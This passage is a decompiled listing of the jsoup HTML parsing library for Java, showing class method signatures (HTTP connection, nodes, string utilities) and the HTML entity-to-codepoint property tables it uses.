    private String charset;
    private String contentType;
    private boolean executed;
    private int numRedirects;
    private org.jsoup.Connection$Request req;
    void HttpConnection$Response();
    private void HttpConnection$Response(HttpConnection$Response) throws java.io.IOException;
    static HttpConnection$Response execute(org.jsoup.Connection$Request) throws java.io.IOException;
    static HttpConnection$Response execute(org.jsoup.Connection$Request, HttpConnection$Response) throws java.io.IOException;
    public int statusCode();
    public String statusMessage();
    public String charset();
    public String contentType();
    public org.jsoup.nodes.Document parse() throws java.io.IOException;
    public String body();
    public byte[] bodyAsBytes();
    private static java.net.HttpURLConnection createConnection(org.jsoup.Connection$Request) throws java.io.IOException;
    private void setupFromConnection(java.net.HttpURLConnection, org.jsoup.Connection$Response) throws java.io.IOException;
    void processResponseHeaders(java.util.Map);
    private static void writePost(java.util.Collection, java.io.OutputStream) throws java.io.IOException;
    private static String getRequestCookieString(org.jsoup.Connection$Request);
    private static void serialiseRequestUrl(org.jsoup.Connection$Request) throws java.io.IOException;
}










org/jsoup/helper/HttpConnection.class


package org.jsoup.helper;
public synchronized class HttpConnection implements org.jsoup.Connection {
    private org.jsoup.Connection$Request req;
    private org.jsoup.Connection$Response res;
    public static org.jsoup.Connection connect(String);
    public static org.jsoup.Connection connect(java.net.URL);
    private static String encodeUrl(String);
    private void HttpConnection();
    public org.jsoup.Connection url(java.net.URL);
    public org.jsoup.Connection url(String);
    public org.jsoup.Connection userAgent(String);
    public org.jsoup.Connection timeout(int);
    public org.jsoup.Connection maxBodySize(int);
    public org.jsoup.Connection followRedirects(boolean);
    public org.jsoup.Connection referrer(String);
    public org.jsoup.Connection method(org.jsoup.Connection$Method);
    public org.jsoup.Connection ignoreHttpErrors(boolean);
    public org.jsoup.Connection ignoreContentType(boolean);
    public org.jsoup.Connection data(String, String);
    public org.jsoup.Connection data(java.util.Map);
    public transient org.jsoup.Connection data(String[]);
    public org.jsoup.Connection data(java.util.Collection);
    public org.jsoup.Connection header(String, String);
    public org.jsoup.Connection cookie(String, String);
    public org.jsoup.Connection cookies(java.util.Map);
    public org.jsoup.Connection parser(org.jsoup.parser.Parser);
    public org.jsoup.nodes.Document get() throws java.io.IOException;
    public org.jsoup.nodes.Document post() throws java.io.IOException;
    public org.jsoup.Connection$Response execute() throws java.io.IOException;
    public org.jsoup.Connection$Request request();
    public org.jsoup.Connection request(org.jsoup.Connection$Request);
    public org.jsoup.Connection$Response response();
    public org.jsoup.Connection response(org.jsoup.Connection$Response);
}










org/jsoup/helper/StringUtil.class


package org.jsoup.helper;
public final synchronized class StringUtil {
    private static final String[] padding;
    public void StringUtil();
    public static String join(java.util.Collection, String);
    public static String join(java.util.Iterator, String);
    public static String padding(int);
    public static boolean isBlank(String);
    public static boolean isNumeric(String);
    public static boolean isWhitespace(int);
    public static String normaliseWhitespace(String);
    public static transient boolean in(String, String[]);
    static void <clinit>();
}










org/jsoup/helper/Validate.class


package org.jsoup.helper;
public final synchronized class Validate {
    private void Validate();
    public static void notNull(Object);
    public static void notNull(Object, String);
    public static void isTrue(boolean);
    public static void isTrue(boolean, String);
    public static void isFalse(boolean);
    public static void isFalse(boolean, String);
    public static void noNullElements(Object[]);
    public static void noNullElements(Object[], String);
    public static void notEmpty(String);
    public static void notEmpty(String, String);
    public static void fail(String);
}










org/jsoup/HttpStatusException.class


package org.jsoup;
public synchronized class HttpStatusException extends java.io.IOException {
    private int statusCode;
    private String url;
    public void HttpStatusException(String, int, String);
    public int getStatusCode();
    public String getUrl();
    public String toString();
}










org/jsoup/Jsoup.class


package org.jsoup;
public synchronized class Jsoup {
    private void Jsoup();
    public static nodes.Document parse(String, String);
    public static nodes.Document parse(String, String, parser.Parser);
    public static nodes.Document parse(String);
    public static Connection connect(String);
    public static nodes.Document parse(java.io.File, String, String) throws java.io.IOException;
    public static nodes.Document parse(java.io.File, String) throws java.io.IOException;
    public static nodes.Document parse(java.io.InputStream, String, String) throws java.io.IOException;
    public static nodes.Document parse(java.io.InputStream, String, String, parser.Parser) throws java.io.IOException;
    public static nodes.Document parseBodyFragment(String, String);
    public static nodes.Document parseBodyFragment(String);
    public static nodes.Document parse(java.net.URL, int) throws java.io.IOException;
    public static String clean(String, String, safety.Whitelist);
    public static String clean(String, safety.Whitelist);
    public static String clean(String, String, safety.Whitelist, nodes.Document$OutputSettings);
    public static boolean isValid(String, safety.Whitelist);
}










org/jsoup/nodes/Attribute.class


package org.jsoup.nodes;
public synchronized class Attribute implements java.util.Map$Entry, Cloneable {
    private String key;
    private String value;
    public void Attribute(String, String);
    public String getKey();
    public void setKey(String);
    public String getValue();
    public String setValue(String);
    public String html();
    protected void html(StringBuilder, Document$OutputSettings);
    public String toString();
    public static Attribute createFromEncoded(String, String);
    protected boolean isDataAttribute();
    public boolean equals(Object);
    public int hashCode();
    public Attribute clone();
}










org/jsoup/nodes/Attributes$1.class


package org.jsoup.nodes;
synchronized class Attributes$1 {
}










org/jsoup/nodes/Attributes$Dataset$DatasetIterator.class


package org.jsoup.nodes;
synchronized class Attributes$Dataset$DatasetIterator implements java.util.Iterator {
    private java.util.Iterator attrIter;
    private Attribute attr;
    private void Attributes$Dataset$DatasetIterator(Attributes$Dataset);
    public boolean hasNext();
    public java.util.Map$Entry next();
    public void remove();
}










org/jsoup/nodes/Attributes$Dataset$EntrySet.class


package org.jsoup.nodes;
synchronized class Attributes$Dataset$EntrySet extends java.util.AbstractSet {
    private void Attributes$Dataset$EntrySet(Attributes$Dataset);
    public java.util.Iterator iterator();
    public int size();
}










org/jsoup/nodes/Attributes$Dataset.class


package org.jsoup.nodes;
synchronized class Attributes$Dataset extends java.util.AbstractMap {
    private void Attributes$Dataset(Attributes);
    public java.util.Set entrySet();
    public String put(String, String);
}










org/jsoup/nodes/Attributes.class


package org.jsoup.nodes;
public synchronized class Attributes implements Iterable, Cloneable {
    protected static final String dataPrefix = data-;
    private java.util.LinkedHashMap attributes;
    public void Attributes();
    public String get(String);
    public void put(String, String);
    public void put(Attribute);
    public void remove(String);
    public boolean hasKey(String);
    public int size();
    public void addAll(Attributes);
    public java.util.Iterator iterator();
    public java.util.List asList();
    public java.util.Map dataset();
    public String html();
    void html(StringBuilder, Document$OutputSettings);
    public String toString();
    public boolean equals(Object);
    public int hashCode();
    public Attributes clone();
    private static String dataKey(String);
}










org/jsoup/nodes/Comment.class


package org.jsoup.nodes;
public synchronized class Comment extends Node {
    private static final String COMMENT_KEY = comment;
    public void Comment(String, String);
    public String nodeName();
    public String getData();
    void outerHtmlHead(StringBuilder, int, Document$OutputSettings);
    void outerHtmlTail(StringBuilder, int, Document$OutputSettings);
    public String toString();
}










org/jsoup/nodes/DataNode.class


package org.jsoup.nodes;
public synchronized class DataNode extends Node {
    private static final String DATA_KEY = data;
    public void DataNode(String, String);
    public String nodeName();
    public String getWholeData();
    public DataNode setWholeData(String);
    void outerHtmlHead(StringBuilder, int, Document$OutputSettings);
    void outerHtmlTail(StringBuilder, int, Document$OutputSettings);
    public String toString();
    public static DataNode createFromEncoded(String, String);
}










org/jsoup/nodes/Document$OutputSettings.class


package org.jsoup.nodes;
public synchronized class Document$OutputSettings implements Cloneable {
    private Entities$EscapeMode escapeMode;
    private java.nio.charset.Charset charset;
    private java.nio.charset.CharsetEncoder charsetEncoder;
    private boolean prettyPrint;
    private boolean outline;
    private int indentAmount;
    public void Document$OutputSettings();
    public Entities$EscapeMode escapeMode();
    public Document$OutputSettings escapeMode(Entities$EscapeMode);
    public java.nio.charset.Charset charset();
    public Document$OutputSettings charset(java.nio.charset.Charset);
    public Document$OutputSettings charset(String);
    java.nio.charset.CharsetEncoder encoder();
    public boolean prettyPrint();
    public Document$OutputSettings prettyPrint(boolean);
    public boolean outline();
    public Document$OutputSettings outline(boolean);
    public int indentAmount();
    public Document$OutputSettings indentAmount(int);
    public Document$OutputSettings clone();
}










org/jsoup/nodes/Document$QuirksMode.class


package org.jsoup.nodes;
public final synchronized enum Document$QuirksMode {
    public static final Document$QuirksMode noQuirks;
    public static final Document$QuirksMode quirks;
    public static final Document$QuirksMode limitedQuirks;
    public static Document$QuirksMode[] values();
    public static Document$QuirksMode valueOf(String);
    private void Document$QuirksMode(String, int);
    static void <clinit>();
}










org/jsoup/nodes/Document.class


package org.jsoup.nodes;
public synchronized class Document extends Element {
    private Document$OutputSettings outputSettings;
    private Document$QuirksMode quirksMode;
    private String location;
    public void Document(String);
    public static Document createShell(String);
    public String location();
    public Element head();
    public Element body();
    public String title();
    public void title(String);
    public Element createElement(String);
    public Document normalise();
    private void normaliseTextNodes(Element);
    private void normaliseStructure(String, Element);
    private Element findFirstElementByTagName(String, Node);
    public String outerHtml();
    public Element text(String);
    public String nodeName();
    public Document clone();
    public Document$OutputSettings outputSettings();
    public Document outputSettings(Document$OutputSettings);
    public Document$QuirksMode quirksMode();
    public Document quirksMode(Document$QuirksMode);
    public boolean equals(Object);
}










org/jsoup/nodes/DocumentType.class


package org.jsoup.nodes;
public synchronized class DocumentType extends Node {
    public void DocumentType(String, String, String, String);
    public String nodeName();
    void outerHtmlHead(StringBuilder, int, Document$OutputSettings);
    void outerHtmlTail(StringBuilder, int, Document$OutputSettings);
}










org/jsoup/nodes/Element$1.class


package org.jsoup.nodes;
synchronized class Element$1 implements org.jsoup.select.NodeVisitor {
    void Element$1(Element, StringBuilder);
    public void head(Node, int);
    public void tail(Node, int);
}










org/jsoup/nodes/Element.class


package org.jsoup.nodes;
public synchronized class Element extends Node {
    private org.jsoup.parser.Tag tag;
    private java.util.Set classNames;
    public void Element(org.jsoup.parser.Tag, String, Attributes);
    public void Element(org.jsoup.parser.Tag, String);
    public String nodeName();
    public String tagName();
    public Element tagName(String);
    public org.jsoup.parser.Tag tag();
    public boolean isBlock();
    public String id();
    public Element attr(String, String);
    public java.util.Map dataset();
    public final Element parent();
    public org.jsoup.select.Elements parents();
    private static void accumulateParents(Element, org.jsoup.select.Elements);
    public Element child(int);
    public org.jsoup.select.Elements children();
    public java.util.List textNodes();
    public java.util.List dataNodes();
    public org.jsoup.select.Elements select(String);
    public Element appendChild(Node);
    public Element prependChild(Node);
    public Element insertChildren(int, java.util.Collection);
    public Element appendElement(String);
    public Element prependElement(String);
    public Element appendText(String);
    public Element prependText(String);
    public Element append(String);
    public Element prepend(String);
    public Element before(String);
    public Element before(Node);
    public Element after(String);
    public Element after(Node);
    public Element empty();
    public Element wrap(String);
    public org.jsoup.select.Elements siblingElements();
    public Element nextElementSibling();
    public Element previousElementSibling();
    public Element firstElementSibling();
    public Integer elementSiblingIndex();
    public Element lastElementSibling();
    private static Integer indexInList(Element, java.util.List);
    public org.jsoup.select.Elements getElementsByTag(String);
    public Element getElementById(String);
    public org.jsoup.select.Elements getElementsByClass(String);
    public org.jsoup.select.Elements getElementsByAttribute(String);
    public org.jsoup.select.Elements getElementsByAttributeStarting(String);
    public org.jsoup.select.Elements getElementsByAttributeValue(String, String);
    public org.jsoup.select.Elements getElementsByAttributeValueNot(String, String);
    public org.jsoup.select.Elements getElementsByAttributeValueStarting(String, String);
    public org.jsoup.select.Elements getElementsByAttributeValueEnding(String, String);
    public org.jsoup.select.Elements getElementsByAttributeValueContaining(String, String);
    public org.jsoup.select.Elements getElementsByAttributeValueMatching(String, java.util.regex.Pattern);
    public org.jsoup.select.Elements getElementsByAttributeValueMatching(String, String);
    public org.jsoup.select.Elements getElementsByIndexLessThan(int);
    public org.jsoup.select.Elements getElementsByIndexGreaterThan(int);
    public org.jsoup.select.Elements getElementsByIndexEquals(int);
    public org.jsoup.select.Elements getElementsContainingText(String);
    public org.jsoup.select.Elements getElementsContainingOwnText(String);
    public org.jsoup.select.Elements getElementsMatchingText(java.util.regex.Pattern);
    public org.jsoup.select.Elements getElementsMatchingText(String);
    public org.jsoup.select.Elements getElementsMatchingOwnText(java.util.regex.Pattern);
    public org.jsoup.select.Elements getElementsMatchingOwnText(String);
    public org.jsoup.select.Elements getAllElements();
    public String text();
    public String ownText();
    private void ownText(StringBuilder);
    private static void appendNormalisedText(StringBuilder, TextNode);
    private static void appendWhitespaceIfBr(Element, StringBuilder);
    static boolean preserveWhitespace(Node);
    public Element text(String);
    public boolean hasText();
    public String data();
    public String className();
    public java.util.Set classNames();
    public Element classNames(java.util.Set);
    public boolean hasClass(String);
    public Element addClass(String);
    public Element removeClass(String);
    public Element toggleClass(String);
    public String val();
    public Element val(String);
    void outerHtmlHead(StringBuilder, int, Document$OutputSettings);
    void outerHtmlTail(StringBuilder, int, Document$OutputSettings);
    public String html();
    private void html(StringBuilder);
    public Element html(String);
    public String toString();
    public boolean equals(Object);
    public int hashCode();
    public Element clone();
}










org/jsoup/nodes/Entities$EscapeMode.class


package org.jsoup.nodes;
public final synchronized enum Entities$EscapeMode {
    public static final Entities$EscapeMode xhtml;
    public static final Entities$EscapeMode base;
    public static final Entities$EscapeMode extended;
    private java.util.Map map;
    public static Entities$EscapeMode[] values();
    public static Entities$EscapeMode valueOf(String);
    private void Entities$EscapeMode(String, int, java.util.Map);
    public java.util.Map getMap();
    static void <clinit>();
}










org/jsoup/nodes/entities-base.properties


AElig=000C6
AMP=00026
Aacute=000C1
Acirc=000C2
Agrave=000C0
Aring=000C5
Atilde=000C3
Auml=000C4
COPY=000A9
Ccedil=000C7
ETH=000D0
Eacute=000C9
Ecirc=000CA
Egrave=000C8
Euml=000CB
GT=0003E
Iacute=000CD
Icirc=000CE
Igrave=000CC
Iuml=000CF
LT=0003C
Ntilde=000D1
Oacute=000D3
Ocirc=000D4
Ograve=000D2
Oslash=000D8
Otilde=000D5
Ouml=000D6
QUOT=00022
REG=000AE
THORN=000DE
Uacute=000DA
Ucirc=000DB
Ugrave=000D9
Uuml=000DC
Yacute=000DD
aacute=000E1
acirc=000E2
acute=000B4
aelig=000E6
agrave=000E0
amp=00026
aring=000E5
atilde=000E3
auml=000E4
brvbar=000A6
ccedil=000E7
cedil=000B8
cent=000A2
copy=000A9
curren=000A4
deg=000B0
divide=000F7
eacute=000E9
ecirc=000EA
egrave=000E8
eth=000F0
euml=000EB
frac12=000BD
frac14=000BC
frac34=000BE
gt=0003E
iacute=000ED
icirc=000EE
iexcl=000A1
igrave=000EC
iquest=000BF
iuml=000EF
laquo=000AB
lt=0003C
macr=000AF
micro=000B5
middot=000B7
nbsp=000A0
not=000AC
ntilde=000F1
oacute=000F3
ocirc=000F4
ograve=000F2
ordf=000AA
ordm=000BA
oslash=000F8
otilde=000F5
ouml=000F6
para=000B6
plusmn=000B1
pound=000A3
quot=00022
raquo=000BB
reg=000AE
sect=000A7
shy=000AD
sup1=000B9
sup2=000B2
sup3=000B3
szlig=000DF
thorn=000FE
times=000D7
uacute=000FA
ucirc=000FB
ugrave=000F9
uml=000A8
uuml=000FC
yacute=000FD
yen=000A5
yuml=000FF










org/jsoup/nodes/entities-full.properties


AElig=000C6
AMP=00026
Aacute=000C1
Abreve=00102
Acirc=000C2
Acy=00410
Afr=1D504
Agrave=000C0
Alpha=00391
Amacr=00100
And=02A53
Aogon=00104
Aopf=1D538
ApplyFunction=02061
Aring=000C5
Ascr=1D49C
Assign=02254
Atilde=000C3
Auml=000C4
Backslash=02216
Barv=02AE7
Barwed=02306
Bcy=00411
Because=02235
Bernoullis=0212C
Beta=00392
Bfr=1D505
Bopf=1D539
Breve=002D8
Bscr=0212C
Bumpeq=0224E
CHcy=00427
COPY=000A9
Cacute=00106
Cap=022D2
CapitalDifferentialD=02145
Cayleys=0212D
Ccaron=0010C
Ccedil=000C7
Ccirc=00108
Cconint=02230
Cdot=0010A
Cedilla=000B8
CenterDot=000B7
Cfr=0212D
Chi=003A7
CircleDot=02299
CircleMinus=02296
CirclePlus=02295
CircleTimes=02297
ClockwiseContourIntegral=02232
CloseCurlyDoubleQuote=0201D
CloseCurlyQuote=02019
Colon=02237
Colone=02A74
Congruent=02261
Conint=0222F
ContourIntegral=0222E
Copf=02102
Coproduct=02210
CounterClockwiseContourIntegral=02233
Cross=02A2F
Cscr=1D49E
Cup=022D3
CupCap=0224D
DD=02145
DDotrahd=02911
DJcy=00402
DScy=00405
DZcy=0040F
Dagger=02021
Darr=021A1
Dashv=02AE4
Dcaron=0010E
Dcy=00414
Del=02207
Delta=00394
Dfr=1D507
DiacriticalAcute=000B4
DiacriticalDot=002D9
DiacriticalDoubleAcute=002DD
DiacriticalGrave=00060
DiacriticalTilde=002DC
Diamond=022C4
DifferentialD=02146
Dopf=1D53B
Dot=000A8
DotDot=020DC
DotEqual=02250
DoubleContourIntegral=0222F
DoubleDot=000A8
DoubleDownArrow=021D3
DoubleLeftArrow=021D0
DoubleLeftRightArrow=021D4
DoubleLeftTee=02AE4
DoubleLongLeftArrow=027F8
DoubleLongLeftRightArrow=027FA
DoubleLongRightArrow=027F9
DoubleRightArrow=021D2
DoubleRightTee=022A8
DoubleUpArrow=021D1
DoubleUpDownArrow=021D5
DoubleVerticalBar=02225
DownArrow=02193
DownArrowBar=02913
DownArrowUpArrow=021F5
DownBreve=00311
DownLeftRightVector=02950
DownLeftTeeVector=0295E
DownLeftVector=021BD
DownLeftVectorBar=02956
DownRightTeeVector=0295F
DownRightVector=021C1
DownRightVectorBar=02957
DownTee=022A4
DownTeeArrow=021A7
Downarrow=021D3
Dscr=1D49F
Dstrok=00110
ENG=0014A
ETH=000D0
Eacute=000C9
Ecaron=0011A
Ecirc=000CA
Ecy=0042D
Edot=00116
Efr=1D508
Egrave=000C8
Element=02208
Emacr=00112
EmptySmallSquare=025FB
EmptyVerySmallSquare=025AB
Eogon=00118
Eopf=1D53C
Epsilon=00395
Equal=02A75
EqualTilde=02242
Equilibrium=021CC
Escr=02130
Esim=02A73
Eta=00397
Euml=000CB
Exists=02203
ExponentialE=02147
Fcy=00424
Ffr=1D509
FilledSmallSquare=025FC
FilledVerySmallSquare=025AA
Fopf=1D53D
ForAll=02200
Fouriertrf=02131
Fscr=02131
GJcy=00403
GT=0003E
Gamma=00393
Gammad=003DC
Gbreve=0011E
Gcedil=00122
Gcirc=0011C
Gcy=00413
Gdot=00120
Gfr=1D50A
Gg=022D9
Gopf=1D53E
GreaterEqual=02265
GreaterEqualLess=022DB
GreaterFullEqual=02267
GreaterGreater=02AA2
GreaterLess=02277
GreaterSlantEqual=02A7E
GreaterTilde=02273
Gscr=1D4A2
Gt=0226B
HARDcy=0042A
Hacek=002C7
Hat=0005E
Hcirc=00124
Hfr=0210C
HilbertSpace=0210B
Hopf=0210D
HorizontalLine=02500
Hscr=0210B
Hstrok=00126
HumpDownHump=0224E
HumpEqual=0224F
IEcy=00415
IJlig=00132
IOcy=00401
Iacute=000CD
Icirc=000CE
Icy=00418
Idot=00130
Ifr=02111
Igrave=000CC
Im=02111
Imacr=0012A
ImaginaryI=02148
Implies=021D2
Int=0222C
Integral=0222B
Intersection=022C2
InvisibleComma=02063
InvisibleTimes=02062
Iogon=0012E
Iopf=1D540
Iota=00399
Iscr=02110
Itilde=00128
Iukcy=00406
Iuml=000CF
Jcirc=00134
Jcy=00419
Jfr=1D50D
Jopf=1D541
Jscr=1D4A5
Jsercy=00408
Jukcy=00404
KHcy=00425
KJcy=0040C
Kappa=0039A
Kcedil=00136
Kcy=0041A
Kfr=1D50E
Kopf=1D542
Kscr=1D4A6
LJcy=00409
LT=0003C
Lacute=00139
Lambda=0039B
Lang=027EA
Laplacetrf=02112
Larr=0219E
Lcaron=0013D
Lcedil=0013B
Lcy=0041B
LeftAngleBracket=027E8
LeftArrow=02190
LeftArrowBar=021E4
LeftArrowRightArrow=021C6
LeftCeiling=02308
LeftDoubleBracket=027E6
LeftDownTeeVector=02961
LeftDownVector=021C3
LeftDownVectorBar=02959
LeftFloor=0230A
LeftRightArrow=02194
LeftRightVector=0294E
LeftTee=022A3
LeftTeeArrow=021A4
LeftTeeVector=0295A
LeftTriangle=022B2
LeftTriangleBar=029CF
LeftTriangleEqual=022B4
LeftUpDownVector=02951
LeftUpTeeVector=02960
LeftUpVector=021BF
LeftUpVectorBar=02958
LeftVector=021BC
LeftVectorBar=02952
Leftarrow=021D0
Leftrightarrow=021D4
LessEqualGreater=022DA
LessFullEqual=02266
LessGreater=02276
LessLess=02AA1
LessSlantEqual=02A7D
LessTilde=02272
Lfr=1D50F
Ll=022D8
Lleftarrow=021DA
Lmidot=0013F
LongLeftArrow=027F5
LongLeftRightArrow=027F7
LongRightArrow=027F6
Longleftarrow=027F8
Longleftrightarrow=027FA
Longrightarrow=027F9
Lopf=1D543
LowerLeftArrow=02199
LowerRightArrow=02198
Lscr=02112
Lsh=021B0
Lstrok=00141
Lt=0226A
Map=02905
Mcy=0041C
MediumSpace=0205F
Mellintrf=02133
Mfr=1D510
MinusPlus=02213
Mopf=1D544
Mscr=02133
Mu=0039C
NJcy=0040A
Nacute=00143
Ncaron=00147
Ncedil=00145
Ncy=0041D
NegativeMediumSpace=0200B
NegativeThickSpace=0200B
NegativeThinSpace=0200B
NegativeVeryThinSpace=0200B
NestedGreaterGreater=0226B
NestedLessLess=0226A
NewLine=0000A
Nfr=1D511
NoBreak=02060
NonBreakingSpace=000A0
Nopf=02115
Not=02AEC
NotCongruent=02262
NotCupCap=0226D
NotDoubleVerticalBar=02226
NotElement=02209
NotEqual=02260
NotExists=02204
NotGreater=0226F
NotGreaterEqual=02271
NotGreaterLess=02279
NotGreaterTilde=02275
NotLeftTriangle=022EA
NotLeftTriangleEqual=022EC
NotLess=0226E
NotLessEqual=02270
NotLessGreater=02278
NotLessTilde=02274
NotPrecedes=02280
NotPrecedesSlantEqual=022E0
NotReverseElement=0220C
NotRightTriangle=022EB
NotRightTriangleEqual=022ED
NotSquareSubsetEqual=022E2
NotSquareSupersetEqual=022E3
NotSubsetEqual=02288
NotSucceeds=02281
NotSucceedsSlantEqual=022E1
NotSupersetEqual=02289
NotTilde=02241
NotTildeEqual=02244
NotTildeFullEqual=02247
NotTildeTilde=02249
NotVerticalBar=02224
Nscr=1D4A9
Ntilde=000D1
Nu=0039D
OElig=00152
Oacute=000D3
Ocirc=000D4
Ocy=0041E
Odblac=00150
Ofr=1D512
Ograve=000D2
Omacr=0014C
Omega=003A9
Omicron=0039F
Oopf=1D546
OpenCurlyDoubleQuote=0201C
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para=000B6
parallel=02225
parsim=02AF3
parsl=02AFD
part=02202
pcy=0043F
percnt=00025
period=0002E
permil=02030
perp=022A5
pertenk=02031
pfr=1D52D
phi=003C6
phiv=003D5
phmmat=02133
phone=0260E
pi=003C0
pitchfork=022D4
piv=003D6
planck=0210F
planckh=0210E
plankv=0210F
plus=0002B
plusacir=02A23
plusb=0229E
pluscir=02A22
plusdo=02214
plusdu=02A25
pluse=02A72
plusmn=000B1
plussim=02A26
plustwo=02A27
pm=000B1
pointint=02A15
popf=1D561
pound=000A3
pr=0227A
prE=02AB3
prap=02AB7
prcue=0227C
pre=02AAF
prec=0227A
precapprox=02AB7
preccurlyeq=0227C
preceq=02AAF
precnapprox=02AB9
precneqq=02AB5
precnsim=022E8
precsim=0227E
prime=02032
primes=02119
prnE=02AB5
prnap=02AB9
prnsim=022E8
prod=0220F
profalar=0232E
profline=02312
profsurf=02313
prop=0221D
propto=0221D
prsim=0227E
prurel=022B0
pscr=1D4C5
psi=003C8
puncsp=02008
qfr=1D52E
qint=02A0C
qopf=1D562
qprime=02057
qscr=1D4C6
quaternions=0210D
quatint=02A16
quest=0003F
questeq=0225F
quot=00022
rAarr=021DB
rArr=021D2
rAtail=0291C
rBarr=0290F
rHar=02964
racute=00155
radic=0221A
raemptyv=029B3
rang=027E9
rangd=02992
range=029A5
rangle=027E9
raquo=000BB
rarr=02192
rarrap=02975
rarrb=021E5
rarrbfs=02920
rarrc=02933
rarrfs=0291E
rarrhk=021AA
rarrlp=021AC
rarrpl=02945
rarrsim=02974
rarrtl=021A3
rarrw=0219D
ratail=0291A
ratio=02236
rationals=0211A
rbarr=0290D
rbbrk=02773
rbrace=0007D
rbrack=0005D
rbrke=0298C
rbrksld=0298E
rbrkslu=02990
rcaron=00159
rcedil=00157
rceil=02309
rcub=0007D
rcy=00440
rdca=02937
rdldhar=02969
rdquo=0201D
rdquor=0201D
rdsh=021B3
real=0211C
realine=0211B
realpart=0211C
reals=0211D
rect=025AD
reg=000AE
rfisht=0297D
rfloor=0230B
rfr=1D52F
rhard=021C1
rharu=021C0
rharul=0296C
rho=003C1
rhov=003F1
rightarrow=02192
rightarrowtail=021A3
rightharpoondown=021C1
rightharpoonup=021C0
rightleftarrows=021C4
rightleftharpoons=021CC
rightrightarrows=021C9
rightsquigarrow=0219D
rightthreetimes=022CC
ring=002DA
risingdotseq=02253
rlarr=021C4
rlhar=021CC
rlm=0200F
rmoust=023B1
rmoustache=023B1
rnmid=02AEE
roang=027ED
roarr=021FE
robrk=027E7
ropar=02986
ropf=1D563
roplus=02A2E
rotimes=02A35
rpar=00029
rpargt=02994
rppolint=02A12
rrarr=021C9
rsaquo=0203A
rscr=1D4C7
rsh=021B1
rsqb=0005D
rsquo=02019
rsquor=02019
rthree=022CC
rtimes=022CA
rtri=025B9
rtrie=022B5
rtrif=025B8
rtriltri=029CE
ruluhar=02968
rx=0211E
sacute=0015B
sbquo=0201A
sc=0227B
scE=02AB4
scap=02AB8
scaron=00161
sccue=0227D
sce=02AB0
scedil=0015F
scirc=0015D
scnE=02AB6
scnap=02ABA
scnsim=022E9
scpolint=02A13
scsim=0227F
scy=00441
sdot=022C5
sdotb=022A1
sdote=02A66
seArr=021D8
searhk=02925
searr=02198
searrow=02198
sect=000A7
semi=0003B
seswar=02929
setminus=02216
setmn=02216
sext=02736
sfr=1D530
sfrown=02322
sharp=0266F
shchcy=00449
shcy=00448
shortmid=02223
shortparallel=02225
shy=000AD
sigma=003C3
sigmaf=003C2
sigmav=003C2
sim=0223C
simdot=02A6A
sime=02243
simeq=02243
simg=02A9E
simgE=02AA0
siml=02A9D
simlE=02A9F
simne=02246
simplus=02A24
simrarr=02972
slarr=02190
smallsetminus=02216
smashp=02A33
smeparsl=029E4
smid=02223
smile=02323
smt=02AAA
smte=02AAC
softcy=0044C
sol=0002F
solb=029C4
solbar=0233F
sopf=1D564
spades=02660
spadesuit=02660
spar=02225
sqcap=02293
sqcup=02294
sqsub=0228F
sqsube=02291
sqsubset=0228F
sqsubseteq=02291
sqsup=02290
sqsupe=02292
sqsupset=02290
sqsupseteq=02292
squ=025A1
square=025A1
squarf=025AA
squf=025AA
srarr=02192
sscr=1D4C8
ssetmn=02216
ssmile=02323
sstarf=022C6
star=02606
starf=02605
straightepsilon=003F5
straightphi=003D5
strns=000AF
sub=02282
subE=02AC5
subdot=02ABD
sube=02286
subedot=02AC3
submult=02AC1
subnE=02ACB
subne=0228A
subplus=02ABF
subrarr=02979
subset=02282
subseteq=02286
subseteqq=02AC5
subsetneq=0228A
subsetneqq=02ACB
subsim=02AC7
subsub=02AD5
subsup=02AD3
succ=0227B
succapprox=02AB8
succcurlyeq=0227D
succeq=02AB0
succnapprox=02ABA
succneqq=02AB6
succnsim=022E9
succsim=0227F
sum=02211
sung=0266A
sup1=000B9
sup2=000B2
sup3=000B3
sup=02283
supE=02AC6
supdot=02ABE
supdsub=02AD8
supe=02287
supedot=02AC4
suphsol=027C9
suphsub=02AD7
suplarr=0297B
supmult=02AC2
supnE=02ACC
supne=0228B
supplus=02AC0
supset=02283
supseteq=02287
supseteqq=02AC6
supsetneq=0228B
supsetneqq=02ACC
supsim=02AC8
supsub=02AD4
supsup=02AD6
swArr=021D9
swarhk=02926
swarr=02199
swarrow=02199
swnwar=0292A
szlig=000DF
target=02316
tau=003C4
tbrk=023B4
tcaron=00165
tcedil=00163
tcy=00442
tdot=020DB
telrec=02315
tfr=1D531
there4=02234
therefore=02234
theta=003B8
thetasym=003D1
thetav=003D1
thickapprox=02248
thicksim=0223C
thinsp=02009
thkap=02248
thksim=0223C
thorn=000FE
tilde=002DC
times=000D7
timesb=022A0
timesbar=02A31
timesd=02A30
tint=0222D
toea=02928
top=022A4
topbot=02336
topcir=02AF1
topf=1D565
topfork=02ADA
tosa=02929
tprime=02034
trade=02122
triangle=025B5
triangledown=025BF
triangleleft=025C3
trianglelefteq=022B4
triangleq=0225C
triangleright=025B9
trianglerighteq=022B5
tridot=025EC
trie=0225C
triminus=02A3A
triplus=02A39
trisb=029CD
tritime=02A3B
trpezium=023E2
tscr=1D4C9
tscy=00446
tshcy=0045B
tstrok=00167
twixt=0226C
twoheadleftarrow=0219E
twoheadrightarrow=021A0
uArr=021D1
uHar=02963
uacute=000FA
uarr=02191
ubrcy=0045E
ubreve=0016D
ucirc=000FB
ucy=00443
udarr=021C5
udblac=00171
udhar=0296E
ufisht=0297E
ufr=1D532
ugrave=000F9
uharl=021BF
uharr=021BE
uhblk=02580
ulcorn=0231C
ulcorner=0231C
ulcrop=0230F
ultri=025F8
umacr=0016B
uml=000A8
uogon=00173
uopf=1D566
uparrow=02191
updownarrow=02195
upharpoonleft=021BF
upharpoonright=021BE
uplus=0228E
upsi=003C5
upsih=003D2
upsilon=003C5
upuparrows=021C8
urcorn=0231D
urcorner=0231D
urcrop=0230E
uring=0016F
urtri=025F9
uscr=1D4CA
utdot=022F0
utilde=00169
utri=025B5
utrif=025B4
uuarr=021C8
uuml=000FC
uwangle=029A7
vArr=021D5
vBar=02AE8
vBarv=02AE9
vDash=022A8
vangrt=0299C
varepsilon=003F5
varkappa=003F0
varnothing=02205
varphi=003D5
varpi=003D6
varpropto=0221D
varr=02195
varrho=003F1
varsigma=003C2
vartheta=003D1
vartriangleleft=022B2
vartriangleright=022B3
vcy=00432
vdash=022A2
vee=02228
veebar=022BB
veeeq=0225A
vellip=022EE
verbar=0007C
vert=0007C
vfr=1D533
vltri=022B2
vopf=1D567
vprop=0221D
vrtri=022B3
vscr=1D4CB
vzigzag=0299A
wcirc=00175
wedbar=02A5F
